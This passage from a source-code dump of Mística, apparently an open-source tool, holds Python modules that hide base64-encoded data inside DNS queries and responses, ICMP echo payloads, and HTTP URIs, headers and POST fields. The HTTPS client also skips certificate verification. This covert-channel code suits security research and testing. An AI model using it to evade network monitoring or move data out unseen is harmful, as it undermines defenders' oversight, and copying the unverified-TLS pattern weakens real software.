range(0,lendata,self.MAX_SUBDOMAIN_LEN):\n            complete = complete + \".\" + sotpdata[i:i+self.MAX_SUBDOMAIN_LEN]  \n        newdomain = complete[1:] + \".\" + self.domain\n        return newdomain\n\n    def wrap(self,content):\n        # make your own routine to encapsulate sotp content in dns packet (i use b64 in subdomain space)\n        sotpDataBytes = urlsafe_b64encode(content)\n        sotpDataEnc = str(sotpDataBytes, \"utf-8\")\n        packedata = None\n\n        # if multiple is supported, split sotp content in multiple subdomains\n        if self.multiple:\n            packedata = self.splitInMultipleSubdomains(sotpDataEnc)\n        else:\n            packedata = sotpDataEnc + \".\" + self.domain\n\n        # doing dns query and obtaining a raw dns response\n        self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] wrap() domain for query: {packedata}\")\n        query, querylen = self.dnsclient.get_dns_query(packedata, self.query)\n        raw_reply = self.dnsclient.query_dns_server(query)\n\n        self.inbox.put(self.messageToWrapper((raw_reply,querylen)))\n\n    def unwrap(self,content):\n        raw_reply, querylen = content\n        # parsing raw dns response and getting rdata content\n        reply = self.dnsclient.parse_answer(raw_reply, querylen)\n        dataEnc = self.dnsclient.parse_rdata_entries(reply)\n        self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] wrap() data dns response: {dataEnc}\")\n        data = urlsafe_b64decode(dataEnc)\n        return data"
  },
  {
    "path": "wrapper/client/http.py",
    "content": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://github.com/IncideDigital/Mistica).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n#\nfrom utils.messaging import Message, MessageType, SignalType\nfrom sotp.misticathread import ClientWrapper\nfrom http.client import HTTPConnection, HTTPSConnection\nfrom base64 import urlsafe_b64encode,urlsafe_b64decode\nfrom ssl import _create_unverified_context\n\nclass http(ClientWrapper):\n\n    NAME = \"http\"\n    CONFIG = {\n        \"prog\": NAME,\n        \"description\": \"Encodes/Decodes data in HTTP requests/responses using different methods\",\n        \"args\": [\n            {\n                \"--hostname\": {\n                    \"help\": \"Hostname or IP address. Default is localhost\",\n                    \"nargs\": 1,\n                    \"default\": [\"localhost\"],\n                    \"type\": str\n                },\n                \"--port\": {\n                    \"help\": \"Server Port\",\n                    \"nargs\": 1,\n                    \"default\": [8080],\n                    \"type\":  int\n                },\n                \"--timeout\": {\n                    \"help\": \"HTTPConnection Timeout\",\n                    \"nargs\": 1,\n                    \"default\": [5],\n                    \"type\":  int\n                },\n                \"--method\": {\n                    \"help\": \"HTTP Method to use\",\n                    \"nargs\": 1,\n                    \"default\": [\"GET\"],\n                    \"choices\": [\"GET\",\"POST\"],\n                    \"type\": str\n                },\n                \"--uri\": {\n                    \"help\": \"URI Path before embedded message. Default is '/'\",\n                    \"nargs\": 1,\n                    \"default\": [\"/\"],\n                    \"type\": str\n                },\n                \"--header\": {\n                    \"help\": \"Header field to embed the packets\",\n                    \"nargs\": 1,\n                    \"type\": str\n                },\n                \"--post-field\": {\n                    \"help\": \"Post param to embed the packet\",\n                    \"nargs\": 1,\n                    \"type\": str\n                },\n                \"--success-code\": {\n                    \"help\": \"HTTP Code for Success Connections. Default is 200\",\n                    \"nargs\": 1,\n                    \"default\": [200],\n                    \"choices\": [100,101,102,200,201,202,203,204,205,206,207,\n                                208,226,300,301,302,303,304,305,306,307,308,\n                                400,401,402,403,404,405,406,407,408,409,410,\n                                411,412,413,414,415,416,417,418,421,422,423,\n                                424,426,428,429,431,500,501,502,503,504,505,\n                                506,507,508,510,511],\n                    \"type\":  int\n                },\n                \"--proxy\": {\n                    \"help\": \"Proxy Address for tunneling communication format 'ip:port'\",\n                    \"nargs\": 1,\n                    \"type\": str\n                },\n                \"--max-size\": {\n                    \"help\": \"Maximum size in bytes of the SOTP packet. You can change it depending http method used (see rfc2616 page 69)\",\n                    \"nargs\": 1,\n                    \"default\": [4096],\n                    \"type\":  int\n                },\n                \"--poll-delay\": {\n                    \"help\": \"Time in seconds between pollings\",\n                    \"nargs\": 1,\n                    \"default\": [5],\n                    \"type\":  int\n                },\n                \"--response-timeout\": {\n                    \"help\": \"Waiting time in seconds for wrapper data.\",\n                    \"nargs\": 1,\n                    \"default\": [3],\n                    \"type\":  int\n                },\n                \"--max-retries\": {\n                    \"help\": \"Maximum number of re-synchronization retries.\",\n                    \"nargs\": 1,\n                    \"default\": [20],\n                    \"type\":  int\n                },\n                \"--ssl\": {\n                    \"help\": \"Flag to indicate that SSL will be used.\",\n                    \"action\": \"store_true\"\n                }\n            }\n        ]\n    }\n\n    def __init__(self, qsotp, args, logger):\n        ClientWrapper.__init__(self,type(self).__name__,qsotp,logger)\n        self.args = args\n        self.name = type(self).__name__\n        self.exit = False\n        self.parseArguments(args)\n        # Logger parameters\n        self.logger = logger\n        self._LOGGING_ = False if logger is None else True\n\n    def parseArguments(self, args):\n        args = self.argparser.parse_args(args.split())\n        self.hostname = args.hostname[0]\n        self.port = args.port[0]\n        self.timeout = args.timeout[0]\n        self.uri = args.uri[0]\n        self.method = args.method[0]\n        self.header = args.header[0] if args.header is not None else None\n        self.post_field = args.post_field[0] if args.post_field is not None else None\n        self.success_code = args.success_code[0]\n        self.proxy = args.proxy[0] if args.proxy is not None else None\n        self.max_size = args.max_size[0]\n        self.poll_delay = args.poll_delay[0]\n        self.response_timeout = args.response_timeout[0]\n        self.max_retries = args.max_retries[0]\n        self.ssl = args.ssl\n\n    def doReqInURI(self, conn, content, method):\n        data_headers = {\"Content-type\": \"application/x-www-form-urlencoded\",\"Accept\": \"text/plain\"}\n        conn.request(method, f\"{self.uri}{content}\", headers=data_headers)\n        r = conn.getresponse()\n        return (r.read(),r.status)\n\n    def doReqInHeaders(self, conn, content, method):\n        data_headers = {\n            \"Content-type\": \"application/x-www-form-urlencoded\",\n            \"Accept\": \"text/plain\",\n            f\"{self.header}\": f\"{content}\"\n        }\n        conn.request(method, f\"{self.uri}\", headers=data_headers)\n        r = conn.getresponse()\n        return (r.read(),r.status)\n\n    def doGet(self, conn, content):\n        if self.header:\n            return self.doReqInHeaders(conn, content, \"GET\")\n        else:\n            return self.doReqInURI(conn, content, \"GET\")\n\n    def doPostField(self, conn, content):\n        post_data = f\"{self.post_field}={content}\"\n        data_headers = {\n            \"Content-type\": \"application/x-www-form-urlencoded\",\n            \"Accept\": \"text/plain\"\n        }\n        conn.request(\"POST\", f\"{self.uri}\", post_data, data_headers)\n        r = conn.getresponse()\n        return (r.read(),r.status)\n\n    def doPost(self, conn, content):\n        if self.post_field:\n            return self.doPostField(conn, content)\n        elif self.header:\n            return self.doReqInHeaders(conn, content, \"POST\")\n        else:\n            return self.doReqInURI(conn, content, \"POST\")\n\n    def dispatchByMethod(self, conn, content):\n        if self.method == \"GET\":\n            return self.doGet(conn, content)\n        elif self.method == \"POST\":\n            return self.doPost(conn, content)\n        else:\n            raise Exception(\"None HTTP Method Available\")\n\n    def packSotp(self, content):\n        # we encode sotp data with urlsafe_b64encode but change \n        # here (and in wrap_server) if you use other encoding.\n        urlSafeEncodedBytes = urlsafe_b64encode(content)\n        urlSafeEncodedStr = str(urlSafeEncodedBytes, \"utf-8\")\n        return urlSafeEncodedStr\n\n    def wrap(self,content):\n        self._LOGGING_ and self.logger.debug(f\"[{self.name}] wrap: {len(content)} bytes\")\n        packedSotp = self.packSotp(content)\n\n        if self.proxy:\n            proxy_ip, proxy_port = self.proxy.split(\":\")\n\n            if self.ssl:\n                conn = HTTPSConnection(self.hostname, self.port, timeout=self.timeout, context=_create_unverified_context())\n            else:\n                conn = HTTPConnection(proxy_ip, proxy_port, self.timeout)\n            \n            conn.set_tunnel(self.hostname, self.port)\n        else:\n            if self.ssl:\n                conn = HTTPSConnection(self.hostname, self.port, timeout=self.timeout, context=_create_unverified_context())\n            else:\n                conn = HTTPConnection(self.hostname, self.port, self.timeout)\n\n        data_response, code_response = self.dispatchByMethod(conn, packedSotp)\n        conn.close()\n        self.inbox.put(self.messageToWrapper((data_response,code_response)))\n\n    def unpackSotp(self, data):\n        # we decode sotp data with urlsafe_b64decode but change \n        # here (and in wrap_server) if you use other encoding.\n        return urlsafe_b64decode(data)\n\n    def unwrap(self,content):\n        data, httpcode = content\n        if httpcode != self.success_code:\n            self._LOGGING_ and self.logger.error(f\"[{self.name}] unwrap: Invalid HTTP Response {httpcode}\")\n            raise Exception(f\"Invalid HTTP Response Code {httpcode} waited: {self.success_code}\")\n        return self.unpackSotp(data)\n"
  },
  {
    "path": "wrapper/client/icmp.py",
    "content": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://github.com/IncideDigital/Mistica).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n#\nfrom sotp.misticathread import ClientWrapper\nfrom base64 import urlsafe_b64encode,urlsafe_b64decode\nfrom sotp.core import BYTE,Header,OptionalHeader,Sizes\n\nimport socket, select\nfrom utils.icmp import Packet\n\nclass ICMPClient(object):\n\n    def __init__(self, hostname, request_timeout, name, logger):\n        self.name = name\n        self.hostname = hostname\n        self.request_timeout = request_timeout\n        # Logger parameters\n        self.logger = logger\n        self._LOGGING_ = False if logger is None else True\n        # Opening Raw Socket and resolve the hostname\n        self.mysocket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)\n        self.mysocket.setblocking(0)\n        socket.gethostbyname(self.hostname)\n\n    def send_data(self, data):\n        request = Packet()\n        request.pack_request(data)\n        raw_request = request.toBytes()\n        self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] send_data() will send: {raw_request}\")\n        self.mysocket.sendto(raw_request, (self.hostname, 1))\n\n    def get_data(self):\n        ready = select.select([self.mysocket], [], [], self.request_timeout)\n        if ready[0]:\n            raw_response = self.mysocket.recv(65535)\n            self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] get_data() recv: {raw_response}\")\n            response = Packet()\n            response.unpack(raw_response)\n            return response.data\n\n\nclass icmp(ClientWrapper):\n    \n    # 65535 bytes (Max IP Packet) - 20 bytes (IP Header) - 8 bytes (ICMP Header) \n    # = 65507 bytes; see rfc 792 for more info\n    MAX_ICMP_DATA_LEN = 65507\n    \n    NAME = \"icmp\"\n    \n    CONFIG = {\n                \"prog\": \"icmp\",\n                \"description\": \"Encodes/Decodes data in the data section of ICMP Echo requests/responses\",\n                \"args\": [\n                    {\n                        \"--hostname\": {\n                            \"help\": \"Remote Server Addresses (not working for 127.0.0.1, localhost, etc)\",\n                            \"nargs\": 1,\n                            \"type\": str,\n                            \"required\": 1\n                        },\n                        \"--request-timeout\": {\n                            \"help\": \"Timeout in second to wait for a socket reply.\",\n                            \"nargs\": 1,\n                            \"default\": [1],\n                            \"type\":  int\n                        },\n                        \"--max-size\": {\n                            \"help\": \"Maximum size in bytes of the sotp packet to be embedded in the icmp data section (49120 bytes max)\",\n                            \"nargs\": 1,\n                            \"default\": [1024],\n                            \"type\":  int\n                        },\n                        \"--poll-delay\": {\n                            \"help\": \"Time in seconds between pollings (in order not to saturate when not transmitting)\",\n                            \"nargs\": 1,\n                            \"default\": [3],\n                            \"type\":  int\n                        },\n                        \"--response-timeout\": {\n                            \"help\": \"Waiting time in seconds for wrapper data.\",\n                            \"nargs\": 1,\n                            \"default\": [2],\n                            \"type\":  int\n                        },\n                        \"--max-retries\": {\n                            \"help\": \"Maximum number of re-synchronization retries.\",\n                            \"nargs\": 1,\n                            \"default\": [10],\n                            \"type\":  int\n                        }\n                    }\n                ]\n            }\n\n    def __init__(self, qsotp, args, logger):\n        ClientWrapper.__init__(self,type(self).__name__,qsotp,logger)\n        self.name = type(self).__name__\n        self.exit = False\n        # Generate argparse\n        self.argparser = self.generateArgParser()\n        # Parse arguments\n        self.hostname = None\n        self.request_timeout = None\n        # Base arguments\n        self.max_size = None\n        self.poll_delay = None\n        self.response_timeout = None\n        self.max_retries = None\n        self.parseArguments(args)\n        # Logger parameters\n        self.logger = logger\n        self._LOGGING_ = False if logger is None else True\n        # ICMPclient parameters\n        self.icmpclient = ICMPClient(self.hostname,\n                                     self.request_timeout, \n                                     self.name, \n                                     self.logger)\n\n    def checkMaxProtoSize(self,max_size):\n            headerlen = int(Sizes.HEADER/BYTE)\n            totalen = len(urlsafe_b64encode(b'A' * (headerlen + max_size)))\n            self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] checkMaxProtoSize() headerlen:{headerlen},max_size:{max_size},totalen:{totalen}\")\n\n            if totalen > self.MAX_ICMP_DATA_LEN:\n                raise BaseException(f\"Total Length is {totalen} and max available for this module is {self.MAX_ICMP_DATA_LEN}. Please, reduce max_size value\")\n\n    def parseArguments(self, args):\n        args = self.argparser.parse_args(args.split())\n        self.hostname = args.hostname[0]\n        self.request_timeout = args.request_timeout[0]\n        self.max_size = args.max_size[0]\n        self.poll_delay = args.poll_delay[0]\n        self.response_timeout = args.response_timeout[0]\n        self.max_retries = args.max_retries[0]\n        self.checkMaxProtoSize(self.max_size)\n\n    def wrap(self,content):\n        # make your own routine to encapsulate sotp content in dns packet (i use b64 in subdomain space)\n        sotpDataBytes = urlsafe_b64encode(content)\n        self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] wrap() data to icmp request: {str(sotpDataBytes,'utf-8')}\")\n        \n        self.icmpclient.send_data(sotpDataBytes)\n        raw_reply = self.icmpclient.get_data()\n        if not raw_reply:\n            self._LOGGING_ and self.logger.error(f\"[{self.name}] wrap() get_data return None\")\n            return\n        self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] wrap() recv icmp raw response: {raw_reply}\")\n        self.inbox.put(self.messageToWrapper(raw_reply))\n\n    def unwrap(self,content):\n        data = urlsafe_b64decode(content)\n        self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] unwrap() data icmp response: {data}\")\n        return data"
  },
  {
    "path": "wrapper/server/wrap_module/__init__.py",
    "content": "__all__ = [\"http\", \"dns\", \"icmp\"]"
  },
  {
    "path": "wrapper/server/wrap_module/dns.py",
    "content": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://github.com/IncideDigital/Mistica).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n#\nfrom sotp.misticathread import ServerWrapper\nfrom base64 import urlsafe_b64encode,urlsafe_b64decode\nfrom dnslib import QTYPE, CLASS, RR\nfrom dnslib import DNSHeader, DNSRecord\nfrom dnslib import TXT, CNAME, MX, NS, SOA\nfrom wrapper.server.wrap_server.dnsserver import dnsserver\n\nclass dnswrapper(ServerWrapper):\n\n    SERVER_CLASS = dnsserver\n    NAME = \"dns\"\n    CONFIG = {\n        \"prog\": NAME,\n        \"wrapserver\": \"dnsserver\",\n        \"description\": \"Encodes/Decodes data in DNS queries/responses using different methods\",\n        \"args\": [\n            {\n                \"--domains\": {\n                    \"help\": \"Domain names to accept packets. (Ex: mistica.dev)\",\n                    \"nargs\": \"*\",\n                    \"default\": [\"mistica.dev\"],\n                    \"type\": str\n                },\n                \"--ttl\": {\n                    \"help\": \"TTL of DNS Response\",\n                    \"nargs\": 1,\n                    \"default\": [300],\n                    \"type\" :  int\n                },\n                \"--queries\": {\n                    \"help\": \"Type of DNS Query (NS,CNAME,SOA,MX,TXT) not supported (A,AAAA) yet\",\n                    \"nargs\": \"*\",\n                    \"default\": [\"TXT\"],\n                    \"choices\": [\"NS\",\"CNAME\",\"SOA\",\"MX\",\"TXT\"],\n                    \"type\": str\n                },\n                \"--max-size\": {\n                    \"help\": \"Maximum size in bytes of the sotp packet to be embedded in the dns packet. Not recommended change it (8 sotp_header + 37 raw_data = 45 rc4 = 60 b64 < 63 max_idna)\",\n                    \"nargs\": 1,\n                    \"default\": [37],\n                    \"type\" :  int\n                },\n                \"--max-retries\": {\n                    \"help\": \"Maximum number of re-synchronization retries.\",\n                    \"nargs\": 1,\n                    \"default\": [5],\n                    \"type\":  int\n                }\n            }\n        ]\n    }\n\n    def __init__(self, id, qsotp, args, logger):\n        ServerWrapper.__init__(self, id, dnswrapper.NAME, qsotp, dnswrapper.SERVER_CLASS.NAME, args, logger)\n        self.request = []\n        # Logger parameters\n        self.logger = logger\n        self._LOGGING_ = False if logger is None else True\n\n    def parseArguments(self, args):\n        parsed = self.argparser.parse_args(args.split())\n        self.domains = parsed.domains\n        self.ttl = parsed.ttl[0]\n        self.queries = parsed.queries\n        self.max_size = parsed.max_size[0]\n        self.max_retries = parsed.max_retries[0]\n        \n\n    def extractFromSubdomain(self, qname):\n        reqhostname = qname.idna()[:-1]\n        for hostname in self.domains:\n            if reqhostname.endswith(f\".{hostname}\"):\n                # urlsafe_b64decode ignore '.' characters, so its okey for decode packets in multiple mode\n                self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] extractFromSubdomain() extract data from query: {reqhostname}\")\n                return urlsafe_b64decode(reqhostname.replace(f\".{hostname}\",\"\"))\n        else:\n            self._LOGGING_ and self.logger.error(f\"[{self.name}] Extracting SOTP from Subdomain and not in hostname list\")\n            return None\n\n    def parseQuestion(self,request):\n        if request.q.qtype is QTYPE.NS:\n            self._LOGGING_ and self.logger.debug(f\"[{self.name}] Received a dns question with qtype NS\")\n            return self.extractFromSubdomain(request.q.qname)\n        elif request.q.qtype is QTYPE.CNAME:\n            self._LOGGING_ and self.logger.debug(f\"[{self.name}] Received a dns question with qtype CNAME\")\n            return self.extractFromSubdomain(request.q.qname)\n        elif request.q.qtype is QTYPE.SOA:\n            self._LOGGING_ and self.logger.debug(f\"[{self.name}] Received a dns question with qtype SOA\")\n            return self.extractFromSubdomain(request.q.qname)\n        elif request.q.qtype is QTYPE.MX:\n            self._LOGGING_ and self.logger.debug(f\"[{self.name}] Received a dns question with qtype MX\")\n            return self.extractFromSubdomain(request.q.qname)\n        elif request.q.qtype is QTYPE.TXT:\n            self._LOGGING_ and self.logger.debug(f\"[{self.name}] Received a dns question with qtype TXT\")\n            return self.extractFromSubdomain(request.q.qname)\n        else:\n            # A, AAAA, PTR for future releases\n            self._LOGGING_ and self.logger.error(f\"[{self.name}] parseQuestion() recieved a dns with invalid question type: {request.q.qtype}\")\n            return None\n\n    def inHostnameList(self, request):\n        reqhostname = request.q.qname.idna()[:-1]\n        for hostname in self.domains:\n            if reqhostname == hostname or reqhostname.endswith(f\".{hostname}\"):\n                return True\n        self._LOGGING_ and self.logger.error(f\"[{self.name}] received dns query to {reqhostname} which is not in the hostname list\")\n        return False\n\n    def inQueryList(self,request):\n        for q in self.queries:\n            if getattr(QTYPE,q) is request.q.qtype:\n                return True\n        self._LOGGING_ and self.logger.error(f\"[{self.name}] received dns query {request.q.qtype} which is not in the query list {self.queries}\")\n        return False\n\n    def unwrap(self, content):\n        if not self.inHostnameList(content):\n            return None\n        if not self.inQueryList(content):\n            return None\n        self.request.append(content)\n        return self.parseQuestion(content)\n\n    def getDomainFromRequest(self, reqhostname):\n        for hostname in self.domains:\n            if reqhostname.endswith(f\".{hostname}\"):\n                return hostname\n        raise f\"Request Hostname not found in domain list: {reqhostname}\"\n\n    def createNsResponse(self, data, request):\n        dataRawEnc = urlsafe_b64encode(data)\n        dataEnc = str(dataRawEnc, \"utf-8\")\n        self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] createNSResponse() with sotp_data: {dataEnc}\")\n        rdomain = self.getDomainFromRequest(request.q.qname.idna()[:-1])\n        reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q)\n        reply.add_answer(RR(rname=request.q.qname,\n                            rtype=QTYPE.NS,\n                            rclass=CLASS.IN,\n                            ttl=self.ttl,\n                            rdata=NS(f\"{dataEnc}.{rdomain}\")))\n        return reply\n\n    def createCnameResponse(self, data, request):\n        dataRawEnc = urlsafe_b64encode(data)\n        dataEnc = str(dataRawEnc, \"utf-8\")\n        self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] createCnameResponse() with sotp_data: {dataEnc}\")\n        rdomain = self.getDomainFromRequest(request.q.qname.idna()[:-1])\n        reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q)\n        reply.add_answer(RR(rname=request.q.qname,\n                            rtype=QTYPE.CNAME,\n                            rclass=CLASS.IN,\n                            ttl=self.ttl,\n                            rdata=CNAME(f\"{dataEnc}.{rdomain}\")))\n        return reply\n\n    def createSoaResponse(self, data, request):\n        dataRawEnc = urlsafe_b64encode(data)\n        dataEnc = str(dataRawEnc, \"utf-8\")\n        self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] createSoaResponse() with sotp_data: {dataEnc}\")\n        rdomain = self.getDomainFromRequest(request.q.qname.idna()[:-1])\n        reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q)\n        reply.add_answer(RR(rname=request.q.qname,\n                            rtype=QTYPE.SOA,\n                            rclass=CLASS.IN,\n                            ttl=self.ttl,\n                            rdata=SOA(f\"{dataEnc}.{rdomain}\")))\n        return reply\n\n    def createMxResponse(self, data, request):\n        dataRawEnc = urlsafe_b64encode(data)\n        dataEnc = str(dataRawEnc, \"utf-8\")\n        self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] createMxResponse() with sotp_data: {dataEnc}\")\n        rdomain = self.getDomainFromRequest(request.q.qname.idna()[:-1])\n        reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q)\n        reply.add_answer(RR(rname=request.q.qname,\n                            rtype=QTYPE.MX,\n                            rclass=CLASS.IN,\n                            ttl=self.ttl,\n                            rdata=MX(f\"{dataEnc}.{rdomain}\")))\n        return reply\n\n    def createTxtResponse(self, data, request):\n        # I embebed sopt data in one RR in TXT Response (but you can split sotp data in multiple RR)\n        dataRawEnc = urlsafe_b64encode(data)\n        dataEnc = str(dataRawEnc, \"utf-8\")\n        self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] createTxtResponse() with sotp_data: {dataEnc}\")\n        reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q)\n        reply.add_answer(RR(rname=request.q.qname,\n                            rtype=QTYPE.TXT,\n                            rclass=CLASS.IN,\n                            ttl=self.ttl,\n                            rdata=TXT(dataEnc)))\n        return reply\n\n    def generateResponse(self, data, request):\n        if request.q.qtype is QTYPE.NS:\n            return self.createNsResponse(data, request)\n        elif request.q.qtype is QTYPE.CNAME:\n            return self.createCnameResponse(data, request)\n        elif request.q.qtype is QTYPE.SOA:\n            return self.createSoaResponse(data, request)\n        elif request.q.qtype is QTYPE.MX:\n            return self.createMxResponse(data, request)\n        elif request.q.qtype is QTYPE.TXT:\n            return self.createTxtResponse(data, request)\n        else:\n            # A, AAAA, PTR for future releases\n            self._LOGGING_ and self.logger.error(f\"[{self.name}] generateResponse() invalid request qtype: {request.q.qtype}\")\n            return None\n\n    def wrap(self, content):\n        request = self.request.pop(0)\n        reply = self.generateResponse(content,request)\n        return reply\n"
  },
  {
    "path": "wrapper/server/wrap_module/http.py",
    "content": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://github.com/IncideDigital/Mistica).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n#\nfrom sotp.misticathread import ServerWrapper\nfrom base64 import urlsafe_b64encode,urlsafe_b64decode\nfrom wrapper.server.wrap_server.httpserver import httpserver\n\nclass httpwrapper(ServerWrapper):\n\n    SERVER_CLASS = httpserver\n    NAME = \"http\"\n    CONFIG = {\n        \"prog\": \"http\",\n        \"wrapserver\": \"httpserver\",\n        \"description\": \"Encodes/Decodes data in HTTP requests/responses using different methods\",\n        \"args\": [\n            {\n                \"--method\": {\n                    \"help\": \"HTTP Method to use\",\n                    \"nargs\": 1,\n                    \"default\": [\"GET\"],\n                    \"choices\": [\"GET\",\"POST\"],\n                    \"type\": str\n                },\n                \"--uri\": {\n                    \"help\": \"URI Path before data message\",\n                    \"nargs\": 1,\n                    \"default\": [\"/\"],\n                    \"type\": str\n                },\n                \"--header\": {\n                    \"help\": \"Header key for encapsulate data message\",\n                    \"nargs\": 1,\n                    \"type\": str\n                },\n                \"--post-field\": {\n                    \"help\": \"Post Field for encapsulate data message\",\n                    \"nargs\": 1,\n                    \"type\": str\n                },\n                \"--success-code\": {\n                    \"help\": \"HTTP Code for Success Connections. Default is 200\",\n                    \"nargs\": 1,\n                    \"default\": [200],\n                    \"choices\": [100,101,102,200,201,202,203,204,205,206,207,\n                                208,226,300,301,302,303,304,305,306,307,308,\n                                400,401,402,403,404,405,406,407,408,409,410,\n                                411,412,413,414,415,416,417,418,421,422,423,\n                                424,426,428,429,431,500,501,502,503,504,505,\n                                506,507,508,510,511],\n                    \"type\":  int\n                },\n                \"--max-size\": {\n                    \"help\": \"Max size of the SOTP packet. Default is 10000 bytes\",\n                    \"nargs\": 1,\n                    \"default\": [10000],\n                    \"type\":  int\n                },\n                \"--max-retries\": {\n                    \"help\": \"Maximum number of re-synchronization retries.\",\n                    \"nargs\": 1,\n                    \"default\": [5],\n                    \"type\":  int\n                }\n            }\n        ]\n    }\n\n    def __init__(self, id, qsotp, args, logger):\n        ServerWrapper.__init__(self, id, httpwrapper.NAME, qsotp, httpwrapper.SERVER_CLASS.NAME, args,logger)\n        # Logger parameters\n        self.logger = logger\n        self._LOGGING_ = False if logger is None else True\n\n    def parseArguments(self, args):\n        parsed = self.argparser.parse_args(args.split())\n        self.method = parsed.method[0]\n        self.header = parsed.header[0] if parsed.header is not None else None\n        self.uri = parsed.uri[0]\n        self.post_field = parsed.post_field[0] if parsed.post_field is not None else None\n        self.max_size = parsed.max_size[0]\n        self.max_retries = parsed.max_retries[0]\n        self.success_code = parsed.success_code[0]\n\n    def unpackSotp(self, data):\n        # We use base64_urlsafe_encode, change if you encode different.\n        return urlsafe_b64decode(data)\n\n    def parseFromHeaders(self, content):\n        try:\n            for key,value in content.items():\n                if key == self.header:\n                    return self.unpackSotp(value)\n            return None\n        except Exception:\n            return None\n\n    def parseFromURI(self, requestline):\n        try:\n            _,uri,_ = requestline.split(' ')\n            sotpdata = uri.replace(self.uri,'')\n            return self.unpackSotp(sotpdata)\n        except Exception:\n            return None\n\n    def parseFromPostFields(self, fields):\n        try:\n            for field in fields.list:\n                if field.name == self.post_field:\n                    return self.unpackSotp(field.value)\n            return None\n        except Exception:\n            return None\n\n    def parseGET(self, content):\n        if self.header:\n            return self.parseFromHeaders(content['headers'])\n        else:\n            return self.parseFromURI(content['requestline'])\n\n    def parsePOST(self, content):\n        if self.header:\n            return self.parseFromHeaders(content['headers'])\n        elif self.post_field:\n            return self.parseFromPostFields(content['content'])\n        else:\n            return self.parseFromURI(content['requestline'])\n\n    def unwrap(self, content):\n        if self.method == \"GET\":\n            unwrapped = self.parseGET(content)\n        else:\n            unwrapped = self.parsePOST(content)\n        return unwrapped\n\n    def generateResponse(self,content):\n        return {\n            \"requestline\" : \"\",\n            \"headers\" : {},\n            \"content\" : content,\n            \"httpcode\" : self.success_code\n        }\n\n    def wrap(self, content):\n        urlSafeEncodedBytes = urlsafe_b64encode(content)\n        urlSafeEncodedStr = str(urlSafeEncodedBytes, \"utf-8\")\n        return self.generateResponse(urlSafeEncodedStr)\n"
  },
  {
    "path": "wrapper/server/wrap_module/icmp.py",
